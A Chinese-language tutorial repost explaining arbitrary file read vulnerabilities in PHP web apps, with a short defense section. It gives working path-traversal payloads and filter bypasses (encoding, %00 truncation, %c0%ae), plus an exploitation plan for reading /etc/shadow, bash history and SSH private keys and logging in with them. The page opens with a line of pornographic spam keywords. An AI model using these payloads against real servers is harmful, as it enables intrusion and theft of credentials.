国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Web漏洞-任意文件讀取漏洞

這篇具有很好參考價(jià)值的文章主要介紹了Web漏洞-任意文件讀取漏洞。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

任意文件讀取漏洞

原理

任意文件讀取是屬于文件操作漏洞的一種,通過提交專門設(shè)計(jì)的輸入,攻擊者就可以在被訪問的文件系統(tǒng)中讀取或?qū)懭肴我鈨?nèi)容,往往能夠使攻擊者從服務(wù)器上獲取敏感文件,正常讀取的文件沒有經(jīng)過校驗(yàn)或者校驗(yàn)不嚴(yán)格,用戶可以控制這個(gè)變量或者變量讀取任意文件。 一般任意文件讀取漏洞可以讀取配置信息甚至系統(tǒng)重要文件。

危害

任意文件讀取的危害往往大于目錄遍歷漏洞,任意文件讀取不僅會(huì)泄露網(wǎng)站的結(jié)構(gòu)目錄,一些敏感文件還會(huì)被通過構(gòu)造特殊的字符結(jié)構(gòu)下載下來,比如說../或者~/導(dǎo)致服務(wù)器的重要文件信息泄露,比如說../etc/passwd,../etc/shodan,~/bash_history等文件,或者下載腳本配置文件,網(wǎng)站文件進(jìn)一步審計(jì),得到危害更大的漏洞進(jìn)一步利用

漏洞產(chǎn)生的原因
  • 存在讀取文件的函數(shù)

  • 讀取文件的路徑用戶可控,且未校驗(yàn)或校驗(yàn)不嚴(yán)

  • 輸出了文件內(nèi)容

任意文件讀取

<?php $filename=”test.txt”; readfile($filename); ?> 
<?php $filename=”test.txt”; echo file_get_contents($filename); ?> 

文件讀取函數(shù)

readfile()file_get_contents()fopen()中,$filename沒有經(jīng)過校驗(yàn)或者校驗(yàn)不合格,用戶可控制變量讀取任意文件,如/etc/passwd、./index.php/config.ini。

如何發(fā)現(xiàn)?
一般文件讀取或者文件下載都會(huì)跟一個(gè)參數(shù)名在后面,比如說
http://127.0.0.1/file.php?filename=xxx.txt
上面的txt就會(huì)被下載下來,但是如果即將xxx.txt換成其他的參數(shù)呢?比如說../etc/passwd
http://127.0.0.1/file.php?filename=../../../../etc/passwd
如果存在回顯,則代表該網(wǎng)站存在任意文件讀取漏洞

代碼示例:

以下代碼均存在文件讀取的危險(xiǎn)

<?php
$file = $_GET['filename'];
readfile($file);
?>


<?php
$file = '1.txt';
print(file_get_contents($file));
?>

<?php
$file = '1.txt';
include $file;
?>

<?php
$file = '1.txt';
require $file;
?>
利用思路

1、一般拿到一個(gè)任意文件讀取得先判斷權(quán)限大不大,如果權(quán)限夠大的話可以直接先把/etc/sadow讀下來,權(quán)限不夠就讀/etc/passwd,先把用戶確定下來,方便后續(xù)操作

2、讀取各個(gè)用戶的.bash_history能翻有用的信息,如編輯一些敏感文件

3、讀取程序配置文件(如數(shù)據(jù)庫連接文件,可以利用數(shù)據(jù)庫寫shell)

4、讀取中間件配置文件(weblogic/tomcat/apache的密碼文件、配置文件,確定絕對(duì)路徑,方便后面讀源碼)

5、讀取一些軟件的運(yùn)維配置文件(redis/rsync/ftp/ssh等等程序的數(shù)據(jù)、配置、文檔記錄)

6、讀取程序源代碼,方便后面做代碼審計(jì),找突破口

7、讀取web應(yīng)用日志文件,中間件的日志文件,其他程序的日志,系統(tǒng)日志等(可以網(wǎng)站后臺(tái)地址、api接口、備份、等等敏感信息)

8、還有就是可以用字典先跑一波(字典之前有分享過),信息收集還是要全面點(diǎn)。

敏感信息
windows
C:\boot.ini //查看系統(tǒng)版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲(chǔ)系統(tǒng)初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux
/root/.ssh/authorized_keys //如需登錄到遠(yuǎn)程主機(jī),需要到.ssh目錄下,新建authorized_keys文件,并將id_rsa.pub內(nèi)容復(fù)制進(jìn)去
/root/.ssh/id_rsa //ssh私鑰,ssh公鑰是id_rsa.pub
/root/.ssh/id_ras.keystore //記錄每個(gè)訪問計(jì)算機(jī)用戶的公鑰
/root/.ssh/known_hosts
//ssh會(huì)把每個(gè)訪問過計(jì)算機(jī)的公鑰(public key)都記錄在~/.ssh/known_hosts。當(dāng)下次訪問相同計(jì)算機(jī)時(shí),OpenSSH會(huì)核對(duì)公鑰。如果公鑰不同,OpenSSH會(huì)發(fā)出警告, 避免你受到DNS Hijack之類的攻擊。
/etc/passwd // 賬戶信息
/etc/shadow // 賬戶密碼文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用戶歷史命令記錄文件
/root/.mysql_history //mysql歷史命令記錄文件
/proc/self/fd/fd[0-9]*(文件標(biāo)識(shí)符)
/proc/mounts //記錄系統(tǒng)掛載設(shè)備
/porc/config.gz //內(nèi)核配置文件
/var/lib/mlocate/mlocate.db //全文件路徑
/porc/self/cmdline //當(dāng)前進(jìn)程的cmdline參數(shù)


中間件
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/httpd/conf/httpd.conf
/usr/local/app/apache2/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/lighttpd/lighttpd.conf
/var/log/www/error.log
/usr/local/lighttpd-1.4.35/lighttpd.conf
/usr/local/services/apache-tomcat-8.0.23/logs/catalina.out
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log
/usr/local/services/nginx-1.6.2/logs/error.log
/usr/local/services/nginx-1.6.2/nginx.conf
/usr/local/services/nginx-1.6.2/conf/nginx.conf
/usr/local/services/nginx-1.6.2/conf/proxy.conf
/usr/local/services/nginx-1.6.2/conf/extra/haolaiyao.conf
注意
任意文件讀取/etc/passwd
提取passwd第一列,即root等一系列用戶名
讀history:../../root/.bash_history
暴破所有用戶的.bash_history:../../../home/§root§/.bash_history
歷史命令重點(diǎn)關(guān)注出現(xiàn)的密碼、路徑、配置文件路徑、其他關(guān)聯(lián)IP、日志文件、war包、備份文件路徑等等,可進(jìn)一步讀取或利用。

/root/.ssh/id_rsa 私鑰
/root/.ssh/authorized_keys 公鑰存儲(chǔ)文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //記錄每個(gè)訪問計(jì)算機(jī)用戶的公鑰
私鑰文件如果沒有設(shè)定密碼保護(hù),便可直接獲取到進(jìn)行登錄到服務(wù)器,或使用xshell等軟件選擇證書登錄。
ssh -i id_rsa root@IP地址

/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ......
用戶名:口令:用戶標(biāo)識(shí)號(hào):組標(biāo)識(shí)號(hào):注釋性描述:主目錄:登錄Shell

/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文
id代表的是使用不同的加密算法,不同的系統(tǒng)使用的算法也不盡相同。salt是加密的時(shí)候需要用到鹽。最后就是密文。
注意:如果密碼字符串為*,表示系統(tǒng)用戶不能被登入,為!表示用戶名被禁用,如果密碼字符串為空,表示沒有密碼。

$1

md5

$2a

blowfish

$2y

blowfish

$5

sha-256

$6

sha-512

繞過思路
1.編碼繞過,有些網(wǎng)站也是會(huì)將文件名轉(zhuǎn)成 base64或者其他編碼格式再去讀取,比如:
http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 對(duì)應(yīng)index.php
通過編碼后進(jìn)行讀取文件,如果要讀取其他文件,同理,先編碼,后傳入

2.使用url編碼代替.或者/
http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd
使用%2F代替/
或者二次編碼(%25)
http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd
%25是%
%2F是/
%252F會(huì)先解開%25,解開后是%,然后在拼接2F就會(huì)變成%2F=/

3.如果對(duì)文件名有限制,可以試著用 %00截?cái)?/span>
http://127.0.0.1/file.php?filename=../../../1.php%00.jpg
%00截?cái)鄬?duì)PHP的版本有要求:PHP<5.3.4

4.加入+
?filename=.+./.+./bin/redacted.dll

5.\
?filename=..%5c..%5c/windows/win.ini

6.Java %c0%ae 安全模式繞過
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
防御
  1. 對(duì)傳入的文件名進(jìn)行判斷限制過濾

  1. 合理控制目錄讀取的權(quán)限

  1. 采用白名單讀取文件

  1. 打開php.ini文件找到open_basedir,然后去掉前面的分號(hào)(;),在等于號(hào)(open_basedir=)后面寫入限制讀取的范圍

  1. 過濾./ ~/等字符文章來源地址http://www.zghlxwxcb.cn/news/detail-648839.html

常見的URL格式和參數(shù)
download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...

value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...

到了這里,關(guān)于Web漏洞-任意文件讀取漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 某賽通電子文檔安全管理系統(tǒng) DecryptApplication 任意文件讀取漏洞復(fù)現(xiàn)

    某賽通電子文檔安全管理系統(tǒng) DecryptApplication 任意文件讀取漏洞復(fù)現(xiàn)

    某賽通電子文檔安全管理系統(tǒng)(簡(jiǎn)稱:CDG)是一款電子文檔安全加密軟件,該系統(tǒng)利用驅(qū)動(dòng)層透明加密技術(shù),通過對(duì)電子文檔的加密保護(hù),防止內(nèi)部員工泄密和外部人員非法竊取企業(yè)核心重要數(shù)據(jù)資產(chǎn),對(duì)電子文檔進(jìn)行全生命周期防護(hù),系統(tǒng)具有透明加密、主動(dòng)加密、智能加

    2024年04月09日
    瀏覽(23)
  • 【web安全】文件包含漏洞

    【web安全】文件包含漏洞

    目錄 1.什么是文件包含漏洞 2.產(chǎn)生原因 3.文件包含的類型 3.1本地文件包含 3.2遠(yuǎn)程文件包含 4.攻擊利用手法 4.1 file:協(xié)議 4.2 php://協(xié)議 ?4.3 zip://,bzip2://,zlib://協(xié)議? 4.4 data://協(xié)議 4.5 PHP偽協(xié)議總結(jié)? 5.如何防御? 6.常見系統(tǒng)的默認(rèn)路徑 7.文件包含漏洞的奇技淫巧 LFI+日志文件gets

    2024年02月07日
    瀏覽(23)
  • 【W(wǎng)eb安全】文件上傳漏洞

    【W(wǎng)eb安全】文件上傳漏洞

    目錄 1. 文件上傳漏洞概述 1.1 FCKEditor文件上傳漏洞 1.2 繞過文件上傳檢查功能 2. 功能還是漏洞 2.1 Apache文件解析 2.2 IIS文件解析 2.3 PHP CGI路徑解析 2.4 利用上傳文件釣魚 ?3. 設(shè)計(jì)安全的文件上傳功能 文件上傳漏洞是指用戶上傳了一個(gè)可執(zhí)行的腳本文件,并通過此腳本文件獲得了

    2024年02月08日
    瀏覽(25)
  • 滲透測(cè)試漏洞原理之---【任意文件讀取漏洞】

    1、概述 一些網(wǎng)站的需求,可能會(huì)提供文件查看與下載的功能。如果對(duì)用戶查看或下載的文件沒有限制或者限制繞過,就可以查看或下載任意文件。這些文件可以是源代碼文件,配置文件,敏感文件等等。 任意文件讀取會(huì)造成(敏感)信息泄露; 任意文件讀取大多數(shù)情況是由

    2024年02月10日
    瀏覽(26)
  • Web安全漏洞介紹及防御-文件上傳漏洞

    Web安全漏洞介紹及防御-文件上傳漏洞

    ??博客主頁:舉杯同慶 – 生命不息,折騰不止 ??訂閱專欄:『Web安全』 ??如覺得博主文章寫的不錯(cuò),或?qū)δ阌兴鶐椭脑?,?qǐng)多多支持呀! ??關(guān)注?、點(diǎn)贊??、收藏??、評(píng)論。 話題討論 中國經(jīng)濟(jì)周刊-2022-07-08 新聞 萬豪國際集團(tuán)證實(shí)了近期一起數(shù)據(jù)泄露事件,一個(gè)月

    2024年02月02日
    瀏覽(24)
  • 任意文件讀取及漏洞復(fù)現(xiàn)

    任意文件讀取及漏洞復(fù)現(xiàn)

    一些網(wǎng)站的需求,可能會(huì)提供文件查看與下載的功能。如果對(duì)用戶查看或下載的文件沒有限制或者限制繞過,就可以查看或下載任意文件。這些文件可以是源代碼文件,配置文件,敏感文件等等。 任意文件讀取會(huì)造成(敏感)信息泄露: 任意文件讀取很多情況是由于其他漏

    2024年02月09日
    瀏覽(24)
  • 任意文件讀取漏洞

    任意文件讀取漏洞

    任意文件讀取漏洞(Arbitrary File Read Vulnerability)是指攻擊者可以通過web應(yīng)用程序讀取任意文件而不受訪問控制限制的漏洞。這種漏洞可能導(dǎo)致敏感信息泄露、系統(tǒng)崩潰等問題。 攻擊者可以利用任意文件讀取漏洞訪問服務(wù)器上的任意文件,包括密碼文件、配置文件等,從而獲取

    2024年02月15日
    瀏覽(19)
  • 任意文件讀取和漏洞復(fù)現(xiàn)

    任意文件讀取和漏洞復(fù)現(xiàn)

    一些網(wǎng)站的需求,可能會(huì)提供文件查看與下載的功能。如果對(duì)用戶查看或下載的文件沒有限制或者限制繞過,就可以查看或下載任意文件。這些文件可以是漂代碼文件,配置文件,敏感文件等等。 任意文件讀取會(huì)造成(敏感)信息泄露: 任意文件讀取大多數(shù)情況是由于其他

    2024年02月09日
    瀏覽(20)
  • 任意文件讀取與下載漏洞

    任意文件讀取與下載漏洞

    任意文件讀取是屬于文件操作漏洞的一種,一般任意文件讀取漏洞可以讀取配置信息甚至系統(tǒng)重要文件。其中的目錄遍歷是由于web服務(wù)器或者web應(yīng)用程序?qū)τ脩糨斎氲奈募Q的安全性驗(yàn)證不足而導(dǎo)致的一種安全漏洞,使得攻擊者通過利用一些特殊字符就可以繞過服務(wù)器的安

    2023年04月09日
    瀏覽(25)
  • Web安全之文件上傳漏洞詳解

    Web安全之文件上傳漏洞詳解

    文件上傳漏洞是指用戶上傳了一個(gè)可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力。這種攻擊方式是最為直接和有效的,“文件上傳”本身沒有問題,有問題的是文件上傳后,服務(wù)器怎么處理、解釋文件。如果服務(wù)器的處理邏輯做的不夠安全,則會(huì)導(dǎo)致

    2024年02月13日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包